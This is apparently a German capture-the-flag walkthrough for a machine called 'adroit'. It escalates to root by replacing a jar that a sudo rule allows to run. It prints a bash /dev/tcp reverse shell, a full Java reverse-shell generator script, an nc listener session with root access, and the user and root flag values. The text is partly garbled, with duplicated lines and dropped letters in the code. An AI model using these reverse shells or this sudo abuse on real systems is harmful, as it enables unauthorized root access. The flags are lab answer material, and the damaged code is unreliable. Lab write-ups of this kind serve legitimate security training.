Wir schauen uns eine Seite im Internet an, um herauszufinden wie man eine Reverse Shell hinbekommt über Java.
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.2.199/9001;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
writer@adroit$ nano /tmp/testingmyapp.jar
writer@adroit$ cat /tmp/testingmyapp.jar
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.2.199/9001;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Nun erstellen wir den Code für die Reverse Shell für Java und speichern dies in der Datei.
┌──(root㉿CCat)-[~]
└─# wget https://gist.githubusercontent.com/FrankSpierings/e3
Nun erstellen wir den Code für die Reverse Shell für Java und speichern dies in der Datei.
┌──(root㉿CCat)-[~]
└─# wget https://gist.githubusercontent.com/FrankSpierings/e330e3aea3152f816c202b883887dd60/raw/bbd20431ece0432955e55f938a41da09ff86e544/generate-java-reverse-shell.sh
--2024-11-08 22:59:56-- https://gist.githubusercontent.com/FrankSpierings/e330e3aea3152f816c202b883887dd60/raw/bbd20431ece0432955e55f938a41da09ff86e544/generate-java-reverse-shell.sh
Auflösen des Hostnamens gist.githubusercontent.com (gist.githubusercontent.com)… 185.199.109.133, 185.199.110.133, 185.199.108.133, ...
Verbindungsaufbau zu gist.githubusercontent.com (gist.githubusercontent.com)|185.199.109.133|:443 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 K
Länge: 1371 (1,3K) [text/plain]
Wird in »generate-java-reverse-shell.sh« gespeichert.

generate-java-reverse-s 100%[=================================>] 1,34K --.-KB/s in 0s

2024-11-08 22:59:56 (116 MB/s) - »generate-java-reverse-shell.sh« gespeichert [1371/1371]
Nun Laden wir uns das script um eine Reverse Shell zu erstellen in Java, da wir ein Sudo recht haben auf diese Datei!
┌──(root㉿CCat)-[~]
└─# cat generate-java-reverse-shell.sh
#!/bin/bash
NAME=Shell
LHST=10.1.1.1
LPRT=4444
CMMAND=powershell.exe

CURDIR=$(pwd)
BUILDDIR=$(mktemp -d)
cd "${BUILDDIR}"

cat > "${NAME}.java" << EF
import java.io.IException;
import java.io.InputStream;
import java.io.utputStream;
import java.net.Socket;

public class ${NAME} {
public static void main(String[] args) throws Exception {
String host = "${LHST}";
int port = ${LPRT};
String cmd = "${CMMAND}";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host,port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
utputStream po = p.getutputStream(), so = s.getutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
}
EF
cat "${NAME}.java"
mkdir META-INF
echo "Main-Class: ${NAME}" > META-INF/MANIFEST.MF
javac --release 7 -d . "${NAME}".java
jar cmvf META-INF/MANIFEST.MF shell.jar "${NAME}".class
mv shell.jar ${CURDIR}/shell_$(date '+%s').jar
cd ${CURDIR}
rm -rf "${BUILDDIR}"
Wir schauen uns nun das Script an, was es genau macht! Es dient zum erstellen einer Reverse Shell.
writer@adroit:/tmp$ wget https://gist.githubusercontent.com/FrankSpierings/e330e3aea3152f816c202b883887dd60/raw/bbd20431ece0432955e55f938a41da09ff86e544/generate-java-reverse-shell.sh
--2024-11-08 22:01:03-- https://gist.githubusercontent.com/FrankSpierings/e330e3aea3152f816c202b883887dd60/raw/bbd20431ece0432955e55f938a41da09ff86e544/generate-java-reverse-shell.sh
Resolving gist.githubusercontent.com (gist.githubusercontent.com)... 185.199.111.133, 185.199.109.133, 185.199.110.133, ...
Connecting to gist.githubusercontent.com (gist.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 K
Length: 1371 (1.3K) [text/plain]
Saving to: ‘generate-java-reverse-shell.sh’

generate-java-reverse-s 100%[=====================================================>] 1.34K --.-KB/s in 0s

2024-11-08 22:01:03 (96.8 MB/s) - ‘generate-java-reverse-shell.sh’ saved [1371/1371]
writer@adroit:/tmp$ chmod +x generate-java-reverse-shell.sh
writer@adroit:/tmp$ nano generate-java-reverse-shell.sh
Wir laden das Script runter auf dem Server und geben dem Script Ausführungsrechte!
Privilege Escalation writer@adroit:/tmp$ ./generate-java-reverse-shell.sh import java.io.IException; import java.io.InputStream; import java.io.utputStream; import java.net.Socket; public class Shell { public static void main(String[] args) throws Exception { String host = "192.168.2.199"; int port = 9001; String cmd = "bash"; writer@adroit:/tmp$ ls -la
total 52
drwxrwxrwt 10 root root 4096 Nov 8 22:04 .
drwxr-xr-x 18 root root 4096 Jan 12 2021 ..
drwxrwxrwt 2 root root 4096 Nov 8 20:44 .font-unix
-rwxr-xr-x 1 writer writer 1373 Nov 8 22:04 generate-java-reverse-shell.sh
drwxr-xr-x 2 root root 4096 Nov 8 20:44 hsperfdata_root
drwxr-xr-x 2 writer writer 4096 Nov 8 22:04 hsperfdata_writer
drwxrwxrwt 2 root root 4096 Nov 8 20:44 .ICE-unix
-rw-r--r-- 1 writer writer 1312 Nov 8 22:04 shell_1731103497.jar


writer@adroit:/tmp$ sudo -l Matching Defaults entries for writer on adroit:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User writer may run the following commands on adroit:
(root) /usr/bin/java -jar /tmp/testingmyapp.jar
Wir nutzen nun das sudo recht und erstellten uns eine Java Reverse Shell um als Root uns zu verbinden
writer@adroit:/tmp$ mv shell_1731103497.jar /tmp/testingmyapp.jar

writer@adroit:/tmp$ sudo /usr/bin/java -jar /tmp/testingmyapp.jar
Root Rechte erlangt

┌──(root㉿CCat)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.129] 41660
id
uid=0(root) gid=0(root) groups=0(root)
cd ~
ls
root.txt
cat root.txt
017a030885f25af277dd891d0f151845

ls /home/writer
user.txt
cat /home/writer/user.txt
61de3a25161dcb2b88b5119457690c3c

Privilege Escalation erfolgreich
Flags

Flags

cat user.txt
61de3a25161dcb2b88b5119457690c3c
cat root.txt
017a030885f25af277dd891d0f151845